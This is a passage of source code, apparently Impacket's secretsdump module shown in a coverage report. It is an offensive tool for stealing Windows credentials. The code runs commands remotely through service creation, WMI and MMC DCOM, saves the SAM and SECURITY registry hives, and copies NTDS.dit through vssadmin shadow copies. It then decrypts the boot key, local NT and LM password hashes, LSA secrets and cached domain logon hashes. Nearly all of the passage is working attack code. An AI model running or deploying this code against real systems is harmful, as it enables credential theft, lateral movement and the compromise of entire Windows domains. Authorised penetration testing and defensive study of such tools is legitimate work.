758 self.__bootKey += bootKey[transforms[i]:transforms[i]+1]
760 LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8'))
762 return self.__bootKey
764 def checkNoLMHashPolicy(self):
765 LOG.debug('Checking NoLMHash Policy')
766 ans = rrp.hOpenLocalMachine(self.__rrp)
767 self.__regHandle = ans['phKey']
769 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
770 keyHandle = ans['phkResult']
771 try:
772 dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
773 except:
774 noLMHash = 0
776 if noLMHash != 1: 776 ↛ 777line 776 didn't jump to line 777, because the condition on line 776 was never true
777 LOG.debug('LMHashes are being stored')
778 return False
780 LOG.debug('LMHashes are NOT being stored')
781 return True
783 def __retrieveHive(self, hiveName):
784 tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'
785 ans = rrp.hOpenLocalMachine(self.__rrp)
786 regHandle = ans['phKey']
787 try:
788 ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
789 except:
790 raise Exception("Can't open %s hive" % hiveName)
791 keyHandle = ans['phkResult']
792 rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
793 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
794 rrp.hBaseRegCloseKey(self.__rrp, regHandle)
795 # Now let's open the remote file, so it can be read later
796 remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
797 return remoteFileName
799 def saveSAM(self):
800 LOG.debug('Saving remote SAM database')
801 return self.__retrieveHive('SAM')
803 def saveSECURITY(self):
804 LOG.debug('Saving remote SECURITY database')
805 return self.__retrieveHive('SECURITY')
807 def __smbExec(self, command):
808 self.__serviceDeleted = False
809 resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,
810 lpBinaryPathName=command)
811 service = resp['lpServiceHandle']
812 try:
813 scmr.hRStartServiceW(self.__scmr, service)
814 except:
815 pass
816 scmr.hRDeleteService(self.__scmr, service)
817 self.__serviceDeleted = True
818 scmr.hRCloseServiceHandle(self.__scmr, service)
820 def __getInterface(self, interface, resp):
821 # Now let's parse the answer and build an Interface instance
822 objRefType = OBJREF(b''.join(resp))['flags']
823 objRef = None
824 if objRefType == FLAGS_OBJREF_CUSTOM:
825 objRef = OBJREF_CUSTOM(b''.join(resp))
826 elif objRefType == FLAGS_OBJREF_HANDLER:
827 objRef = OBJREF_HANDLER(b''.join(resp))
828 elif objRefType == FLAGS_OBJREF_STANDARD:
829 objRef = OBJREF_STANDARD(b''.join(resp))
830 elif objRefType == FLAGS_OBJREF_EXTENDED:
831 objRef = OBJREF_EXTENDED(b''.join(resp))
832 else:
833 logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
835 return IRemUnknown2(
836 INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
837 oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
838 target=interface.get_target()))
840 def __mmcExec(self,command):
841 command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe')
842 username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
843 dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
844 oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
845 iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
846 iMMC = IDispatch(iInterface)
848 resp = iMMC.GetIDsOfNames(('Document',))
850 dispParams = DISPPARAMS(None, False)
851 dispParams['rgvarg'] = NULL
852 dispParams['rgdispidNamedArgs'] = NULL
853 dispParams['cArgs'] = 0
854 dispParams['cNamedArgs'] = 0
855 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
857 iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
858 resp = iDocument.GetIDsOfNames(('ActiveView',))
859 resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
861 iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
862 pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
864 pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
866 dispParams = DISPPARAMS(None, False)
867 dispParams['rgdispidNamedArgs'] = NULL
868 dispParams['cArgs'] = 4
869 dispParams['cNamedArgs'] = 0
870 arg0 = VARIANT(None, False)
871 arg0['clSize'] = 5
872 arg0['vt'] = VARENUM.VT_BSTR
873 arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
874 arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe'
876 arg1 = VARIANT(None, False)
877 arg1['clSize'] = 5
878 arg1['vt'] = VARENUM.VT_BSTR
879 arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
880 arg1['_varUnion']['bstrVal']['asData'] = 'c:\\'
882 arg2 = VARIANT(None, False)
883 arg2['clSize'] = 5
884 arg2['vt'] = VARENUM.VT_BSTR
885 arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
886 arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):]
888 arg3 = VARIANT(None, False)
889 arg3['clSize'] = 5
890 arg3['vt'] = VARENUM.VT_BSTR
891 arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
892 arg3['_varUnion']['bstrVal']['asData'] = '7'
893 dispParams['rgvarg'].append(arg3)
894 dispParams['rgvarg'].append(arg2)
895 dispParams['rgvarg'].append(arg1)
896 dispParams['rgvarg'].append(arg0)
898 iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
900 dispParams = DISPPARAMS(None, False)
901 dispParams['rgvarg'] = NULL
902 dispParams['rgdispidNamedArgs'] = NULL
903 dispParams['cArgs'] = 0
904 dispParams['cNamedArgs'] = 0
906 iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
909 def __wmiExec(self, command):
910 # Convert command to wmi exec friendly format
911 command = command.replace('%COMSPEC%', 'cmd.exe')
912 username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
913 dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
914 oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
915 iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
916 iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
917 iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
918 iWbemLevel1Login.RemRelease()
920 win32Process,_ = iWbemServices.GetObject('Win32_Process')
921 win32Process.Create(command, '\\', None)
923 dcom.disconnect()
925 def __executeRemote(self, data):
926 self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
927 command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \
928 self.__shell + self.__batchFile
929 command += ' & ' + 'del ' + self.__batchFile
931 LOG.debug('ExecuteRemote command: %s' % command)
932 if self.__execMethod == 'smbexec': 932 ↛ 934line 932 didn't jump to line 934, because the condition on line 932 was never false
933 self.__smbExec(command)
934 elif self.__execMethod == 'wmiexec':
935 self.__wmiExec(command)
936 elif self.__execMethod == 'mmcexec':
937 self.__mmcExec(command)
938 else:
939 raise Exception('Invalid exec method %s, aborting' % self.__execMethod)
942 def __answer(self, data):
943 self.__answerTMP += data
945 def __getLastVSS(self, forDrive=None):
946 if forDrive: 946 ↛ 949line 946 didn't jump to line 949, because the condition on line 946 was never false
947 command = '%COMSPEC% /C vssadmin list shadows /for=' + forDrive
948 else:
949 command = '%COMSPEC% /C vssadmin list shadows'
950 self.__executeRemote(command)
951 time.sleep(5)
952 tries = 0
953 while True:
954 try:
955 self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
956 break
957 except Exception as e:
958 if tries > 30:
959 # We give up
960 raise Exception('Too many tries trying to list vss shadows')
961 if str(e).find('SHARING') > 0:
962 # Stuff didn't finish yet.. wait more
963 time.sleep(5)
964 tries +=1
965 pass
966 else:
967 raise
969 lines = self.__answerTMP.split(b'\n')
970 lastShadow = b''
971 lastShadowFor = b''
972 lastShadowId = b''
974 # Let's find the last one
975 # The string used to search the shadow for drive. Wondering what happens
976 # in other languages
977 SHADOWFOR = b'Volume: ('
978 IDSTART = b'Shadow Copy ID: {'
979 IDLEN=len('3547017b-0ac9-478b-88e6-f9be7e1c11999')
981 for line in lines:
982 if line.find(b'GLOBALROOT') > 0:
983 lastShadow = line[line.find(b'\\\\?'):][:-1]
984 elif line.find(SHADOWFOR) > 0:
985 lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
986 elif line.find(IDSTART) > 0:
987 lastShadowId = line[line.find(IDSTART)+len(IDSTART):][:IDLEN-1]
989 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
991 LOG.debug('__getLastVSS found last VSS %s on %s with ID of %s' % (lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')))
993 return lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')
995 def saveNTDS(self):
996 LOG.info('Searching for NTDS.dit')
997 # First of all, let's try to read the target NTDS.dit registry entry
998 ans = rrp.hOpenLocalMachine(self.__rrp)
999 regHandle = ans['phKey']
1000 try:
1001 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
1002 keyHandle = ans['phkResult']
1003 except:
1004 # Can't open the registry path, assuming no NTDS on the other end
1005 return None
1007 try:
1008 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
1009 ntdsLocation = dataValue[:-1]
1010 ntdsDrive = ntdsLocation[:2]
1011 except:
1012 # Can't open the registry path, assuming no NTDS on the other end
1013 return None
1015 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
1016 rrp.hBaseRegCloseKey(self.__rrp, regHandle)
1018 LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
1019 LOG.info('Using %s method for remote execution' % self.__execMethod)
1020 # Get the list of remote shadows
1021 shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)
1022 if shadow == '' or (shadow != '' and shadowFor != ntdsDrive): 1022 ↛ 1024line 1022 didn't jump to line 1024, because the condition on line 1022 was never true
1023 # No shadow, create one
1024 self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
1025 shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)
1026 shouldRemove = True
1027 if shadow == '' or shadowFor != ntdsDrive:
1028 raise Exception('Could not get a VSS')
1029 else:
1030 # There was already a shadow, let's not delete this
1031 shouldRemove = False
1033 # Now copy the ntds.dit to the temp directory
1034 tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'
1036 self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
1038 if shouldRemove is True: 1038 ↛ 1039line 1038 didn't jump to line 1039, because the condition on line 1038 was never true
1039 LOG.debug('Trying to delete shadow copy using command : %%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId)
1040 self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId)
1043 tries = 0
1044 while True:
1045 try:
1046 self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
1047 break
1048 except Exception as e:
1049 if tries >= 30:
1050 raise e
1051 if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0:
1052 tries += 1
1053 time.sleep(5)
1054 pass
1055 else:
1056 logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e)))
1057 pass
1059 remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
1061 return remoteFileName
1063class CryptoCommon:
1064 # Common crypto stuff used over different classes
1065 def deriveKey(self, baseKey):
1066 # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
1067 # Let I be the little-endian, unsigned integer.
1068 # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
1069 # Note that because I is in little-endian byte order, I[0] is the least significant byte.
1070 # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
1071 # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
1072 key = pack('<L',baseKey)
1073 key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]]
1074 key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]]
1075 if PY2: 1075 ↛ 1076line 1075 didn't jump to line 1076, because the condition on line 1075 was never true
1076 return transformKey(b''.join(key1)),transformKey(b''.join(key2))
1077 else:
1078 return transformKey(bytes(key1)),transformKey(bytes(key2))
1080 @staticmethod
1081 def decryptAES(key, value, iv=b'\x00'*16):
1082 plainText = b''
1083 if iv != b'\x00'*16: 1083 ↛ 1084line 1083 didn't jump to line 1084, because the condition on line 1083 was never true
1084 aes256 = AES.new(key,AES.MODE_CBC, iv)
1086 for index in range(0, len(value), 16):
1087 if iv == b'\x00'*16: 1087 ↛ 1089line 1087 didn't jump to line 1089, because the condition on line 1087 was never false
1088 aes256 = AES.new(key,AES.MODE_CBC, iv)
1089 cipherBuffer = value[index:index+16]
1090 # Pad buffer to 16 bytes
1091 if len(cipherBuffer) < 16: 1091 ↛ 1092line 1091 didn't jump to line 1092, because the condition on line 1091 was never true
1092 cipherBuffer += b'\x00' * (16-len(cipherBuffer))
1093 plainText += aes256.decrypt(cipherBuffer)
1095 return plainText
1098class OfflineRegistry:
1099 def __init__(self, hiveFile = None, isRemote = False):
1100 self.__hiveFile = hiveFile
1101 if self.__hiveFile is not None: 1101 ↛ exitline 1101 didn't return from function '__init__', because the condition on line 1101 was never false
1102 self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)
1104 def enumKey(self, searchKey):
1105 parentKey = self.__registryHive.findKey(searchKey)
1107 if parentKey is None: 1107 ↛ 1108line 1107 didn't jump to line 1108, because the condition on line 1107 was never true
1108 return
1110 keys = self.__registryHive.enumKey(parentKey)
1112 return keys
1114 def enumValues(self, searchKey):
1115 key = self.__registryHive.findKey(searchKey)
1117 if key is None: 1117 ↛ 1118line 1117 didn't jump to line 1118, because the condition on line 1117 was never true
1118 return
1120 values = self.__registryHive.enumValues(key)
1122 return values
1124 def getValue(self, keyValue):
1125 value = self.__registryHive.getValue(keyValue)
1127 if value is None: 1127 ↛ 1128line 1127 didn't jump to line 1128, because the condition on line 1127 was never true
1128 return
1130 return value
1132 def getClass(self, className):
1133 value = self.__registryHive.getClass(className)
1135 if value is None:
1136 return
1138 return value
1140 def finish(self):
1141 if self.__hiveFile is not None: 1141 ↛ exitline 1141 didn't return from function 'finish', because the condition on line 1141 was never false
1142 # Remove temp file and whatever else is needed
1143 self.__registryHive.close()
1145class SAMHashes(OfflineRegistry):
1146 def __init__(self, samFile, bootKey, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)):
1147 OfflineRegistry.__init__(self, samFile, isRemote)
1148 self.__samFile = samFile
1149 self.__hashedBootKey = b''
1150 self.__bootKey = bootKey
1151 self.__cryptoCommon = CryptoCommon()
1152 self.__itemsFound = {}
1153 self.__perSecretCallback = perSecretCallback
1155 def MD5(self, data):
1156 md5 = hashlib.new('md5')
1157 md5.update(data)
1158 return md5.digest()
1160 def getHBootKey(self):
1161 LOG.debug('Calculating HashedBootKey from SAM')
1162 QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
1163 DIGITS = b"0123456789012345678901234567890123456789\0"
1165 F = self.getValue(ntpath.join(r'SAM\Domains\Account','F'))[1]
1167 domainData = DOMAIN_ACCOUNT_F(F)
1169 if domainData['Key0'][0:1] == b'\x01': 1169 ↛ 1182line 1169 didn't jump to line 1182, because the condition on line 1169 was never false
1170 samKeyData = SAM_KEY_DATA(domainData['Key0'])
1172 rc4Key = self.MD5(samKeyData['Salt'] + QWERTY + self.__bootKey + DIGITS)
1173 rc4 = ARC4.new(rc4Key)
1174 self.__hashedBootKey = rc4.encrypt(samKeyData['Key']+samKeyData['CheckSum'])
1176 # Verify key with checksum
1177 checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
1179 if checkSum != self.__hashedBootKey[16:]: 1179 ↛ 1180line 1179 didn't jump to line 1180, because the condition on line 1179 was never true
1180 raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
1182 elif domainData['Key0'][0:1] == b'\x02':
1183 # This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also)
1184 samKeyData = SAM_KEY_DATA_AES(domainData['Key0'])
1186 self.__hashedBootKey = self.__cryptoCommon.decryptAES(self.__bootKey,
1187 samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt'])
1189 def __decryptHash(self, rid, cryptedHash, constant, newStyle = False):
1190 # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
1191 # plus hashedBootKey stuff
1192 Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
1194 Crypt1 = DES.new(Key1, DES.MODE_ECB)
1195 Crypt2 = DES.new(Key2, DES.MODE_ECB)
1197 if newStyle is False: 1197 ↛ 1202line 1197 didn't jump to line 1202, because the condition on line 1197 was never false
1198 rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
1199 rc4 = ARC4.new(rc4Key)
1200 key = rc4.encrypt(cryptedHash['Hash'])
1201 else:
1202 key = self.__cryptoCommon.decryptAES(self.__hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16]
1204 decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
1206 return decryptedHash
1208 def dump(self):
1209 NTPASSWORD = b"NTPASSWORD\0"
1210 LMPASSWORD = b"LMPASSWORD\0"
1212 if self.__samFile is None: 1212 ↛ 1214line 1212 didn't jump to line 1214, because the condition on line 1212 was never true
1213 # No SAM file provided
1214 return
1216 LOG.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
1217 self.getHBootKey()
1219 usersKey = 'SAM\\Domains\\Account\\Users'
1221 # Enumerate all the RIDs
1222 rids = self.enumKey(usersKey)
1223 # Remove the Names item
1224 try:
1225 rids.remove('Names')
1226 except:
1227 pass
1229 for rid in rids:
1230 userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
1231 rid = int(rid,16)
1233 V = userAccount['Data']
1235 userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
1237 if userAccount['NTHashLength'] == 0: 1237 ↛ 1238line 1237 didn't jump to line 1238, because the condition on line 1237 was never true
1238 logging.error('SAM hashes extraction for user %s failed. The account doesn\'t have hash information.' % userName)
1239 continue
1241 encNTHash = b''
1242 if V[userAccount['NTHashOffset']:][2:3] == b'\x01': 1242 ↛ 1251line 1242 didn't jump to line 1251, because the condition on line 1242 was never false
1243 # Old Style hashes
1244 newStyle = False
1245 if userAccount['LMHashLength'] == 20: 1245 ↛ 1246line 1245 didn't jump to line 1246, because the condition on line 1245 was never true
1246 encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
1247 if userAccount['NTHashLength'] == 20:
1248 encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])
1249 else:
1250 # New Style hashes
1251 newStyle = True
1252 if userAccount['LMHashLength'] == 24:
1253 encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
1254 encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])
1256 LOG.debug('NewStyle hashes is: %s' % newStyle)
1257 if userAccount['LMHashLength'] >= 20: 1257 ↛ 1258line 1257 didn't jump to line 1258, because the condition on line 1257 was never true
1258 lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle)
1259 else:
1260 lmHash = b''
1262 if encNTHash != b'':
1263 ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle)
1264 else:
1265 ntHash = b''
1267 if lmHash == b'': 1267 ↛ 1269line 1267 didn't jump to line 1269, because the condition on line 1267 was never false
1268 lmHash = ntlm.LMOWFv1('','')
1269 if ntHash == b'':
1270 ntHash = ntlm.NTOWFv1('','')
1272 answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8'))
1273 self.__itemsFound[rid] = answer
1274 self.__perSecretCallback(answer)
1276 def export(self, baseFileName, openFileFunc = None):
1277 if len(self.__itemsFound) > 0:
1278 items = sorted(self.__itemsFound)
1279 fileName = baseFileName+'.sam'
1280 fd = openFile(fileName, openFileFunc=openFileFunc)
1281 for item in items:
1282 fd.write(self.__itemsFound[item]+'\n')
1283 fd.close()
1284 return fileName
1286class LSASecrets(OfflineRegistry):
1287 UNKNOWN_USER = '(Unknown User)'
1288 class SECRET_TYPE:
1289 LSA = 0
1290 LSA_HASHED = 1
1291 LSA_RAW = 2
1292 LSA_KERBEROS = 3
1294 def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False,
1295 perSecretCallback=lambda secretType, secret: _print_helper(secret)):
1296 OfflineRegistry.__init__(self, securityFile, isRemote)
1297 self.__hashedBootKey = b''
1298 self.__bootKey = bootKey
1299 self.__LSAKey = b''
1300 self.__NKLMKey = b''
1301 self.__vistaStyle = True
1302 self.__cryptoCommon = CryptoCommon()
1303 self.__securityFile = securityFile
1304 self.__remoteOps = remoteOps
1305 self.__cachedItems = []
1306 self.__secretItems = []
1307 self.__perSecretCallback = perSecretCallback
1308 self.__history = history
1310 def MD5(self, data):
1311 md5 = hashlib.new('md5')
1312 md5.update(data)
1313 return md5.digest()
1315 def __sha256(self, key, value, rounds=1000):
1316 sha = hashlib.sha256()
1317 sha.update(key)
1318 for i in range(1000):
1319 sha.update(value)
1320 return sha.digest()
1322 def __decryptSecret(self, key, value):
1323 # [MS-LSAD] Section 5.1.2
1324 plainText = b''
1326 encryptedSecretSize = unpack('<I', value[:4])[0]
1327 value = value[len(value)-encryptedSecretSize:]
1329 key0 = key
1330 for i in range(0, len(value), 8):
1331 cipherText = value[:8]
1332 tmpStrKey = key0[:7]
1333 tmpKey = transformKey(tmpStrKey)
1334 Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
1335 plainText += Crypt1.decrypt(cipherText)
1336 key0 = key0[7:]
1337 value = value[8:]
1338 # AdvanceKey
1339 if len(key0) < 7:
1340 key0 = key[len(key0):]
1342 secret = LSA_SECRET_XP(plainText)
1343 return secret['Secret']
1345 def __decryptHash(self, key, value, iv):
1346 hmac_md5 = HMAC.new(key,iv,MD5)
1347 rc4key = hmac_md5.digest()
1349 rc4 = ARC4.new(rc4key)
1350 data = rc4.encrypt(value)
1351 return data
1353 def __decryptLSA(self, value):
1354 if self.__vistaStyle is True: 1354 ↛ 1363line 1354 didn't jump to line 1363, because the condition on line 1354 was never false
1355 # ToDo: There could be more than one LSA Keys
1356 record = LSA_SECRET(value)
1357 tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
1358 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
1359 record = LSA_SECRET_BLOB(plainText)
1360 self.__LSAKey = record['Secret'][52:][:32]
1362 else:
1363 md5 = hashlib.new('md5')
1364 md5.update(self.__bootKey)
1365 for i in range(1000):
1366 md5.update(value[60:76])
1367 tmpKey = md5.digest()
1368 rc4 = ARC4.new(tmpKey)
1369 plainText = rc4.decrypt(value[12:60])
1370 self.__LSAKey = plainText[0x10:0x20]
1372 def __getLSASecretKey(self):
1373 LOG.debug('Decrypting LSA Key')
1374 # Let's try the key post XP
1375 value = self.getValue('\\Policy\\PolEKList\\default')
1376 if value is None: 1376 ↛ 1377line 1376 didn't jump to line 1377, because the condition on line 1376 was never true
1377 LOG.debug('PolEKList not found, trying PolSecretEncryptionKey')
1378 # Second chance
1379 value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')
1380 self.__vistaStyle = False
1381 if value is None:
1382 # No way :(
1383 return None
1385 self.__decryptLSA(value[1])
1387 def __getNLKMSecret(self):
1388 LOG.debug('Decrypting NL$KM')
1389 value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')
1390 if value is None: 1390 ↛ 1391line 1390 didn't jump to line 1391, because the condition on line 1390 was never true
1391 raise Exception("Couldn't get NL$KM value")
1392 if self.__vistaStyle is True: 1392 ↛ 1397line 1392 didn't jump to line 1397, because the condition on line 1392 was never false
1393 record = LSA_SECRET(value[1])
1394 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
1395 self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
1396 else:
1397 self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
1399 def __pad(self, data):
1400 if (data & 0x3) > 0:
1401 return data + (data & 0x3)
1402 else:
1403 return data
1405 def dumpCachedHashes(self):
1406 if self.__securityFile is None: 1406 ↛ 1408line 1406 didn't jump to line 1408, because the condition on line 1406 was never true
1407 # No SECURITY file provided
1408 return
1410 LOG.info('Dumping cached domain logon information (domain/username:hash)')
1412 # Let's first see if there are cached entries
1413 values = self.enumValues('\\Cache')
1414 if values is None: 1414 ↛ 1416line 1414 didn't jump to line 1416, because the condition on line 1414 was never true
1415 # No cache entries
1416 return
1417 try:
1418 # Remove unnecessary value
1419 values.remove(b'NL$Control')
1420 except:
1421 pass
1423 iterationCount = 10240
1425 if b'NL$IterationCount' in values: 1425 ↛ 1426line 1425 didn't jump to line 1426, because the condition on line 1425 was never true
1426 values.remove(b'NL$IterationCount')
1428 record = self.getValue('\\Cache\\NL$IterationCount')[1]
1429 if record > 10240:
1430 iterationCount = record & 0xfffffc00
1431 else:
1432 iterationCount = record * 1024
1434 self.__getLSASecretKey()
1435 self.__getNLKMSecret()
1437 for value in values:
1438 LOG.debug('Looking into %s' % value.decode('utf-8'))
1439 record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1])
1440 if record['IV'] != 16 * b'\x00': 1440 ↛ 1442line 1440 didn't jump to line 1442, because the condition on line 1440 was never true
1441 #if record['UserLength'] > 0:
1442 if record['Flags'] & 1 == 1:
1443 # Encrypted
1444 if self.__vistaStyle is True:
1445 plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV'])
1446 else:
1447 plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV'])
1448 pass
1449 else:
1450 # Plain! Until we figure out what this is, we skip it
1451 #plainText = record['EncryptedData']
1452 continue
1453 encHash = plainText[:0x10]
1454 plainText = plainText[0x48:]
1455 userName = plainText[:record['UserLength']].decode('utf-16le')
1456 plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):]
1457 domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le')
1459 if self.__vistaStyle is True:
1460 answer = "%s/%s:$DCC2$%s#%s#%s" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8'))
1461 else:
1462 answer = "%s/%s:%s:%s" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName)
1464 self.__cachedItems.append(answer)
1465 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer)
1467 def __printSecret(self, name, secretItem):
1468 # Based on [MS-LSAD] section 3.1.1.4
1470 # First off, let's discard NULL secrets.
1471 if len(secretItem) == 0: 1471 ↛ 1472line 1471 didn't jump to line 1472, because the condition on line 1471 was never true
1472 LOG.debug('Discarding secret %s, NULL Data' % name)
1473 return
1475 # We might have secrets with zero
1476 if secretItem.startswith(b'\x00\x00'): 1476 ↛ 1477line 1476 didn't jump to line 1477, because the condition on line 1476 was never true
1477 LOG.debug('Discarding secret %s, all zeros' % name)
1478 return
1480 upperName = name.upper()
1482 LOG.info('%s ' % name)
1484 secret = ''
1486 if upperName.startswith('_SC_'):
1487 # Service name, a password might be there
1488 # Let's first try to decode the secret
1489 try:
1490 strDecoded = secretItem.decode('utf-16le')
1491 except:
1492 pass
1493 else:
1494 # We have to get the account the service
1495 # runs under
1496 if hasattr(self.__remoteOps, 'getServiceAccount'): 1496 ↛ 1504line 1496 didn't jump to line 1504, because the condition on line 1496 was never false
1497 account = self.__remoteOps.getServiceAccount(name[4:])
1498 if account is None: 1498 ↛ 1499line 1498 didn't jump to line 1499, because the condition on line 1498 was never true
1499 secret = self.UNKNOWN_USER + ':'
1500 else:
1501 secret = "%s:" % account
1502 else:
1503 # We don't support getting this info for local targets at the moment
1504 secret = self.UNKNOWN_USER + ':'
